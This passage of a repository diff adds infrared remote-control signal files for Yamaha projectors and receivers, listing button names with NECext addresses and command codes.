STILL_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DF 00 00 00 +# +name: STILL_TOG +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E0 00 00 00 +# +name: STILL_ON +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E0 00 00 00 +# +name: MEMORY_1 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E1 00 00 00 +# +name: MEMORY_2 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E2 00 00 00 +# +name: MEMORY_3 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E3 00 00 00 +# +name: MEMORY_4 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E4 00 00 00 +# +name: MEMORY_5 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E5 00 00 00 +# +name: MEMORY_6 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E6 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: EA 00 00 00 +# +name: ASPECT_TOGGLE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: EA 00 00 00 +# +name: ASPECT_NORMAL +type: parsed +protocol: NECext +address: D1 00 00 00 +command: EB 00 00 00 +# +name: ASPECT_ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: EC 00 00 00 +# +name: ASPECT_ZOOM_TITLE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: ED 00 00 00 +# +name: ASPECT_SQUEEZE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: EE 00 00 00 +# +name: ASPECT_THROUGH +type: parsed +protocol: NECext +address: D1 00 00 00 +command: EF 00 00 00 +# +name: ASPECT_AUTO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F0 00 00 00 +# +name: ASPECT_THRU_SQUEEZE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F1 00 00 00 +# +name: ASPECT_SMART_ZOOM +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F2 00 00 00 +# +name: INPUT_A_COMPONENT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F3 00 00 00 +# +name: INPUT_1A +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F3 00 00 00 +# +name: INPUT_A_RGB_PC +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F4 00 00 00 +# +name: INPUT_A_RGB_TV +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F5 00 00 00 +# +name: INPUT_B_COMPONENT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F6 00 00 00 +# +name: INPUT_B_RGB_PC +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F7 00 00 00 +# +name: INPUT_B_RGB_TV +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F8 00 00 00 +# +name: HDMI_COMPONENT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: F9 00 00 00 +# +name: HDMI_RGB_TV +type: parsed +protocol: NECext +address: D1 00 00 00 +command: FB 00 00 00 +# +name: HDMI_AUTO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir new file mode 100644 index 000000000..5b6a052f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 41 00 00 00 +# +name: POWER_STANDBY +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 42 00 00 00 +# +name: KEYSTONE +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 43 00 00 00 +# +name: SETTING_IRIS +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 54 00 00 00 +# +name: INPUT_D-SUB +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 60 00 00 00 +# +name: INPUT_COMP +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 64 00 00 00 +# +name: INPUT_VIDEO +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 65 00 00 00 +# +name: INPUT_S-VIDEO +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 66 00 00 00 +# +name: INPUT_HDMI +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 70 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 81 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 82 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 83 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 86 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 87 00 00 00 +# +name: ASPECT_NORMAL +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 91 00 00 00 +# +name: ASPECT_SQUEEZE +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 92 00 00 00 +# +name: ASPECT_SMART_ZOOM +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 95 00 00 00 +# +name: HIDE +type: parsed +protocol: NECext +address: F0 00 00 00 +command: A6 00 00 00 +# +name: SETTING_CONTRAST +type: parsed +protocol: NECext +address: F0 00 00 00 +command: D0 00 00 00 +# +name: SETTING_BRIGHTNESS +type: parsed +protocol: NECext +address: F0 00 00 00 +command: D1 00 00 00 +# +name: SETTING_COLOR_TEMP +type: parsed +protocol: NECext +address: F0 00 00 00 +command: D4 00 00 00 +# +name: ASPECT_TOGGLE +type: parsed +protocol: NECext +address: F0 00 00 00 +command: E2 00 00 00 +# +name: MEMORY_1 +type: parsed +protocol: NECext +address: F0 00 00 00 +command: E4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir new file mode 100644 index 000000000..334798a42 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: ZONE_2_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir new file mode 100644 index 000000000..aadc6726c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SIRIUS:_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir new file mode 100644 index 000000000..9e9249897 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 01 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 02 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 03 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 04 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 07 00 00 00 +# +name: REP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0C 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: PRESET_DN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: ABCDE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4B 00 00 00 +# +name: SUBWOOF_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4C 00 00 00 +# +name: SUBWOOF_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4E 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: BEAM-STEREO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: LEVEL_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 55 00 00 00 +# +name: LEVEL_DN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 56 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5E 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: BASS/TREBLE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 84 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 86 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 87 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 88 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 89 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8F 00 00 00 +# +name: MATRIX_6.1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 90 00 00 00 +# +name: DOLBY/DTS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 99 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 99 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: SET_MENU +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9F 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A9 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AA 00 00 00 +# +name: IPOD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: BC 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C0 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C1 00 00 00 +# +name: BEAM-5STAR +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C2 00 00 00 +# +name: BEAM-LCR_SURROUN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C3 00 00 00 +# +name: BEAM-LCR +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C4 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: D0 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DE 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir new file mode 100644 index 000000000..b75fb12de --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: THX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 8D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir new file mode 100644 index 000000000..ac13aeb08 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir @@ -0,0 +1,14996 @@ +Filetype: IR signals file +Version: 1 +# +name: SCENE_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: SYS_MEM_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: SYS_MEM_1_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: SCENE:_BD/DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: SCENE_BD/DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: MZ:_SYSM_RC/SV_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: SYS_MEM_1_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_REW +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: Z2:_SYSM_REC/SV_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: SYS_MEM_1_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_FF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: Z3:_SYSM_REC/SV_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: SCENE_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: SYS_MEM_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: SYS_MEM_2_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: SCENE:_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: SCENE_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: MZ:_SYSM_RE/SV_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: SYS_MEM_2_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_REC/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: Z2:_SYSM_REC/SV_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: SYS_MEM_2_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: TAPE_REC_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: Z3:_SYSM_REC/SV_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: SCENE_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: SYS_MEM_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: SYS_MEM_3_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: SCENE:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: SCENE_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TAPE_DECK_A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: MZ:_SYSM_RE/SV_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: DIR_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: SYS_MEM_3_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: TAPE_DIR_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: Z2:_SYSM_REC/SV_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: SYS_MEM_3_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: Z3:_SYSM_REC/SV_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: SCENE_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: SYS_MEM_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: SYS_MEM_4_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: SCENE:_RADIO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: SCENE_RADIO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_PAUSE/STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: MZ:_SYSM_RE/SV_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: SYS_MEM_4_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: Z2:_SYSM_REC/SV_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: SYS_MEM_4_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: Z3:_SYSM_REC/SV_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_SEARCH_>> +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_SEARCH_<< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: SELECT_VCR-1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: INPUR_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: INPUT:_VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: INPUT:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: INPUT_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: MZ:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: VCR-1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: MZ_IN:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: INP_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: INPUT_VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: INPUT:_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: MAIN:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: INP_VCR1(VCR) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: MZ:_INP_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: MZ_INP:_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: MZ_INP:_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET_> +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET/CH._UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET_CH_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET_NO._+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER:_PRES_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER:_PRESET_NO_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER:_PRESET_CH_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET_CH._UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: NAV_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER:TUNE/PST_NO_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER:_PRESET_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER:_PRESET_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUN_PRES/CH_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: PRESET_-- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: PRESET_< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: PRESET/_CH._DN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_PRESET_CH_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: PRESET_NO._- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER:_PRES_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER:_PRESET_NO_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER:_PRESET_CH_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: PRESET_CH._DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: NAV_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER:TUNE/PST_NO_DN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: PRESET_DN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER:_PRESET_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER:_PRESET_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUN_PRES/CH_DN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PRESET_BANK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: A-E/CAT.+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER_CAT_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER_PAGE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PRESET_PAGE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER:_PAGE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER:_PG_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER:_PRESET_PG_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER_A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER_PRESET_PG_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PRESET_A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER:_PRESET_PG_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: CLASS_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: NAV_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER:_PRES_PG_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER:_A-E_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: 